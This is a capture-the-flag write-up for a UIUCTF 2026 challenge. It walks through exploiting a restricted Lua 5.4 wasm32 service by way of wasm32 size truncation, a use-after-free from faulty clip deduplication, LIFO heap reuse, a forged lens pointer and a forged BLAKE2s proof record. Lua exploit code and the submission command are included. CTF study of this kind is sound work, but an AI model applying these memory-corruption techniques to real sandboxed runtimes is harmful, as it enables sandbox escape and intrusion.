$ cat writeup.md…
$ cat writeup.md…
uiuc2026
Task: A packed SPX2 cartridge runs as Lua text inside a restricted Lua 5.4 wasm32 service with hidden userdata APIs. Solution: Exploit wasm32 length truncation, duplicate-clip deduplication, LIFO pool reuse, and a forged lens pointer to rewrite a draft record.
One Spotlight Pass remains. Upload one SPX2 creator cartridge.
The service accepts one binary SPX2 cartridge, unpacks it, and loads the result as a Lua text chunk in a restricted Lua 5.4 runtime compiled to WebAssembly. The objective is to reach the host import sparxie_redeem(A + 32, 32), which reads and prints /flag.txt. Reverse engineering showed that only draft:publish() calls this import.
main.c reads at most one cartridge, checks the SPX2LIVE header, calls cartridge_unpack, opens only a limited set of Lua libraries, and disables helpers such as load, dofile, print, tostring, and string.format. It then exposes a global sparxie module and executes the unpacked bytes with:
luaL_loadbufferx(state, (const char *)chunk, chunk_len, "@vanishing-encore", "t");
The supplied extracted/tools/pack.py implements the cartridge stream cipher, checksum, and header fields, so the final Lua source can be submitted without reimplementing the framing.
The JavaScript host makes the win condition explicit:
sparxie_redeem: function (noncePtr, nonceLen) { if (nonceLen !== 32) throw new Error("invalid backstage witness"); const flag = require("fs").readFileSync("/flag.txt", "utf8").trim(); out("[Sparxie] The final encore reached backstage."); out(flag); }
The Lua-facing implementation was not included as source, so its registration tables and methods had to be recovered from sparxicle.wasm, sparxicle.wat, sparxicle.dcmp, and code.txt. The useful API is:
sparxie.studio() studio:clip(offset, size) studio:render(timeline, permit) sparxie.timeline({clip, ...}) sparxie.draft() draft:publish() sparxie.queue(draft) queue:lens() lens:receipt() lens:read(offset, size) lens:write(offset, bytes) sparxie.review(pass)
The intended-looking chain is review -> render -> queue -> lens -> publish, but two implementation mistakes turn it into a memory-corruption exploit.
spotlight_review migrates four bytes from route[8:12], four bytes from route[12:16], and 28 body bytes into a 36-byte buffer. wire_decode dynamically invokes Lua with the schema:
<!1s8I4I4I8
At first this appears impossible. The counted s8 field has an eight-byte little-endian length. Its low dword must be 12, while route_valid requires its high dword, route[12:16], to equal bytes 8 through 11 of the RELAY BLAKE2s MAC. Those bytes are a20585c3, not zero.
That conclusion is true in a native 64-bit Lua test, but not in the challenge. Lua is compiled for wasm32. The decoded 64-bit length is converted to 32-bit size_t, discarding the high dword. The effective string length is therefore 12 while the same eight-byte field can carry the required MAC bytes in its upper half.
The relevant make_relay.py construction is:
route = bytearray(16) route[0:2] = b"\x27\x05" route[8:12] = struct.pack("<I", 12) relay = b2( b"SPARXIE::CATALOGUE::RELAY", seal, header[8:16], route[0:2], route[8:12], ) route[2:8] = relay[0:6] route[12:16] = relay[8:12]
This produces the exact valid route:
2705b9893afab0ed0c000000a20585c3
With the original body and allowed seal, sparxie.review(RELAY_PASS) returns a valid Permit, enabling studio:render().
The major lesson is to test ABI-dependent behavior under the target architecture. Native 64-bit Lua produced a convincing but false impossibility proof because its size_t width differed from wasm32.
The render logic performs two inconsistent counts:
(studio, offset, size), reducing those two clips to one migration entry.During render, only the representative clip is retargeted to the studio's replacement buffer. The old 4096-byte pool-A slot is freed, while the duplicate clip still points to it. This leaves a stale clip with bounded but otherwise valid read/write methods over freed memory.
local permit = sparxie.review(RELAY_PASS) local studio = sparxie.studio() local live = studio:clip(0, 4096) local stale = studio:clip(0, 4096) local timeline = sparxie.timeline({live, stale}) studio:render(timeline, permit)
The clips must be distinct userdata objects but have the same studio, offset, and size. This satisfies the count check while triggering the faulty deduplication behavior.
Pool A uses a LIFO freelist. Calling sparxie.queue(draft) immediately after render reuses the just-freed slot for a 4096-byte page table containing 63 entries of 64 bytes each. The stale clip now reads and writes this table.
queue:lens() selects one entry. lens:receipt() returns that entry's key, allowing the exploit to locate it by scanning the key field at index * 64 + 8. Its layout is:
+0x08 key +0x0c generation +0x10 backing pointer +0x14 size (16384)
The exploit overwrites only the backing pointer with aligned address 122880 and leaves the size equal to 16384:
local queue = sparxie.queue(draft) local page_table = stale:read(0, 4096) local lens = queue:lens() local receipt = lens:receipt() local selected for index = 0, 62 do local key = string.unpack("<I4", page_table, index * 64 + 9) if key == receipt then selected = index; break end end assert(selected ~= nil) stale:write(selected * 64 + 16, string.pack("<I4", 122880))
Lens validation requires a size of exactly 16384, an eight-byte-aligned pointer, and a pointer at or above 65536. Address 122880 satisfies all checks. On its first read, the lens validates and caches that pointer, creating a stable 16 KiB read/write window that covers pool B at 128800..137504.
local WINDOW_BASE = 122880 local function peek(address) return lens:read(address - WINDOW_BASE, 1):byte(1) end local function poke(address, byte) lens:write(address - WINDOW_BASE, string.char(byte)) end
Pool B contains 32 records with a stride of 272 bytes. The record magic is stored at offset 260:
draft: 836282098 = 0x31d8a6f2 authority: 2656159651 = 0x9e51c7a3
Scanning the lens window finds both the fresh draft record R and authority record A:
local POOLB_BASE, STRIDE = 128800, 272 local pool = lens:read(POOLB_BASE - WINDOW_BASE, 32 * STRIDE) local R, A for index = 0, 31 do local magic = string.unpack("<I4", pool, index * STRIDE + 261) local address = POOLB_BASE + index * STRIDE if magic == 836282098 then R = address end if magic == 2656159651 then A = address end end assert(R and A)
Raw bytecode for func435 (sparxie.draft) and func442 (draft:publish) gives the exact checks. A fresh draft already has the correct record magic, the R+108/userdata relationship, and a valid cookie. The cookie remains valid as long as R+256 and the userdata are not modified. Only three fields need forging:
R+64 32-byte BLAKE2s proof R+96 u64 little-endian 0x5a31c89e72d40b6f R+104 u32 little-endian 0xb74e25c1
The R+104 constant is important: raw wasm contains decimal 3075352001, which is 0xb74e25c1. An earlier provisional decompilation value was incorrect.
The proof is runtime-dependent because both A[0:32] and the first 64 bytes of R contain fresh random data:
BLAKE2s( "SPARXIE::ENCORE::PROOF", A[0:32], R[0:32], R[32:64], allowed_seal, u64le(R@96), u32le(R@104), u32le(R@108) )
The final forge uses a pure-Lua BLAKE2s implementation because the sandbox exposes no hashing library:
local CAMPAIGN_ID = 0x5a31c89e72d40b6f local MAGIC_C26 = 0xb74e25c1 local AUTH = read_bytes(peek, A, 32) local R27 = read_u32(peek, R + 108) write_bytes(poke, R + 96, u64le(CAMPAIGN_ID)) write_bytes(poke, R + 104, u32le(MAGIC_C26)) local proof = blake2s( bytes_of_str("SPARXIE::ENCORE::PROOF"), AUTH, read_bytes(peek, R, 32), read_bytes(peek, R + 32, 32), ALLOWED_SEAL, u64le(CAMPAIGN_ID), u32le(MAGIC_C26), u32le(R27) ) write_bytes(poke, R + 64, proof) draft:publish()
draft:publish() accepts the forged record and calls sparxie_redeem(A + 32, 32). The complete executable implementation, including the pure-Lua BLAKE2s code and binary RELAY envelope, is in exploit.lua.
Pack the Lua source into the required SPX2 framing:
python3 extracted/tools/pack.py exploit.lua exploit.spx2
Verify against the supplied local Node.js harness and patched test flag:
node run.js < exploit.spx2
Expected success marker:
[Sparxie] The final encore reached backstage. uiuctf{REDACTED}
The remote service reported that proof of work was disabled. Send the packed cartridge directly over TLS:
ncat --ssl sparxie-vanishing-encore.chal.uiuc.tf 1337 < exploit.spx2
The response contained the same success marker followed by the real flag.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar